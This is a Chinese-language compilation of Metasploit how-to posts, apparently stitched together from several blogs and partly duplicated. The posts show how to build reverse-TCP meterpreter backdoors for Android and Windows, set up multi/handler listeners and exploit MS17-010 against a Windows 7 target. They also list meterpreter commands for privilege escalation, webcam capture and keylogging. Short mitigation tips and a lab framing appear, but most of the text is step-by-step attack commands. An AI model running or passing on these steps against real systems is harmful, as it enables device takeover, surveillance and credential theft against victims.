本文目录一览：
使用msf渗透安卓系统
渗透机：kali2017.3
靶机：安卓手机一部
首先我们需要生成一个安卓木马
至于木马的免杀暂且不谈。
然后打开msfconsole
然后执行
获取一个安卓手机的session，我们可以获取当前通话记录，聊天短信等信息
下面是我从网上找的一些参数的释义。
剩下的就自个慢慢玩吧，我就先撤了。。。。。。。
msf能渗透外网服务器么
很多朋友对使用Metasploit利用后门程序进行渗透windows7都比较感兴趣，针对这些以下业内相关专家就给大家介绍下，当下黑客怎么利用Metasploit进行渗透windows7的。
设定目标主机为：cn_win7_x86_7601虚拟机，地址为：192.168.0.116；而本地主机就为：192.168.0.149。
方法步骤一：黑客用Msfpayload直接生成相关的后门程序，如下图。
sfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.149 x steup.exe
方法步骤二：黑客直接就能进入所在的目录并将属性进行修改，换为允许以程序执行文件，详细如下图。
进入所在目录，修改属性：选择“允许以程序执行文件”,这时候也可以做一些免杀
方法步骤三：接着黑客就打开msfconsole并加载exploit/multi/handler模块并进行设置本地主机，最后就能开始进行监听了，详细情况如下图。
打开msfconsole，加载exploit/multi/handler模块，设置本地主机；然后开始监听：exploit -z -j ：
方法步骤四：黑客需要能将程序直接拷贝都目标主机中并进行执行。
如何利用metasploit进行漏洞扫描和攻击
很多朋友对使用Metasploit利用后门程序进行渗透windows7都比较感兴趣，针对这些以下业内相关专家就给大家介绍下，当下黑客怎么利用Metasploit进行渗透windows7的。设定目标主机为：cn_win7_x86_7601虚拟机，地址为：192.168.0.116；而本地主机就为：192.168.0.149。方法步骤一：黑客用Msfpayload直接生成相关的后门程序，如下图。sfpayloadwindows/meterpreter/reverse_tcpLHOST=192.168.0.149xsteup.exe方法步骤二：黑客直接就能进入所在的目录并将属性进行修改，换为允许以程序执行文件，详细如下图。进入所在目录，修改属性：选择“允许以程序执行文件”,这时候也可以做一些免杀方法步骤三：接着黑客就打开msfconsole并加载exploit/multi/handler模块并进行设置本地主机，最后就能开始进行监听了，详细情况如下图。打开msfconsole，加载exploit/multi/handler模块，设置本地主机；然后开始监听：exploit-z-j：方法步骤四：黑客需要能将程序直接拷贝都目标主机中并进行执行。方法步骤五：以上步骤全部完成后黑客就能通过后门程序反向连接到msf，用msf就能发起第2次的攻击然后使用客户端也就是后门程序就能连接都服务端msf，详细的如下图。Meterpreter就是metasploit框架中的一个扩展模块，因此的话溢出成功后黑客就能攻击载荷进行使用，一旦攻击载荷在溢出攻击成功后就能再返回一个控制通道，这样就能将它作为攻击载荷成功获得目标系统的一个meterpretershell的链接。另外，附meterpreter常用命令：getsystem#会自动利用各种各样的系统漏洞来进行权限提升migrate#进程id进程迁移background#把当前的会话设置为背景，需要的时候在启用getuid#查看对方正在运行的用户ps#列出所有的进程getpid#返回运行meterpreter的id号sysinfo#产看系统信息和体系结构shell#切换到cmd的系统权限方式exit#退出shell会话返回meterpreter或终止meterpretergetdesktop截取目标主机当前桌面会话窗口runwebcam-p/var/www#在/var/www目录监控目标主机的摄像头keylog_recorder#使用migrate将会话迁移至explorer.exe的进程空间后记录键盘
ms17010漏洞的简单利用
（第一次在发表文章，没啥经验，分享一些学习经验。大佬们多多包涵，也希望大家能够指出我的错误。）
靶机：windows7 x64 IP：192.168.1.5
攻击机：Kali Rolling (2019.3) x64 IP：192.168.1.3
两台主机在同一网段内；win7关闭防火墙并且开启445端口。
1、使用ipconfig/ifconfig分别查看win7和kali的ip。
2、打开msf工具
每次开启都会有不同的界面
3、使用search命令搜索ms17_010
4、选择模块和设置条件
使用use来选择第三个模块，可以直接 use 2，也可以打全
然后用set来设置靶机IP set rhost 192.168.1.5
设置本机IP set lhost 192.168.1.3
设置监听端口 set lport 8888 不设置则默认4444端口
设置payload set payload windows/x64/meterpreter/reverse_tcp
还有另外一个payload能用于本实验，具体可以 show payloads 查看
最后，可以使用show options检查所有信息
5、开始渗透 run
稍等片刻 看到win则成功创建会话
6、成功之后，可以开启Windows7的摄像头，截图等等
具体可以用help查看
1、关闭445端口
2、打开防火墙，安装安全软件
3、安装对应补丁，这里就不放链接了
关闭445端口的方法：
1）打开控制面板----Windows防火墙----高级设置
2）点击新建规则，设置端口号的规则并且命名（如图）
msf工具虽然强大，但只能用于已知的并且已提交模块的漏洞。要理解漏洞原理，理解如何使用漏洞，甚至自己挖洞才能做到真正的去攻击。而不是简单的使用工具use和set。
【渗透测试】-工具之MSF
msf是一款漏洞利用平台的工具
use exploit/multi/handler 设置接收反弹模块
set payload windows/meterpreter/reverse_tcp 设置反弹结果处理载荷
show options 查看配置选项
Show targets 查看攻击目标
set LHOST 192.168.1.111 设置本地监听地址192.168.1.111
exploit 执行